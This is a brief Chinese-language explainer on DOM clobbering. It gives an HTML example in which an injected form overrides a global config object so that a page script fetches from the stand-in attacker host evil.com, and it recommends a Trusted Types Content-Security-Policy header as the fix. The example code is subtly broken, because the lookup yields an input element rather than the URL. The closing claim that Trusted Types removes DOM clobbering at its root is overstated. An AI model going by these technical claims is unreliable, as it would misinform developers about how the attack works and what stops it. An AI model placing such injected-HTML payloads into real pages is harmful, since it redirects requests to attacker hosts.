DOM Clobbering 是一种不依赖脚本注入的 XSS 变体,攻击者通过 HTML 元素覆盖全局变量,诱导合法脚本执行恶意逻辑。
一、攻击示例
html
<form id="config">
<input name="apiUrl" value="https://evil.com">
</form>
<script>
// 期望读取 window.config,实际被 DOM 元素覆盖
fetch(window.config.apiUrl);
</script>当页面允许用户注入 HTML(如富文本评论)时,id 或 name 属性会映射为全局变量,覆盖脚本预期的对象。
二、Trusted Types 防御
http
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default启用后,所有写入 innerHTML、eval 等危险 Sink 的字符串必须经过 Trusted Types 策略净化,未净化的字符串将被浏览器直接拒绝,从根源上消除 DOM 型 XSS 与 DOM Clobbering。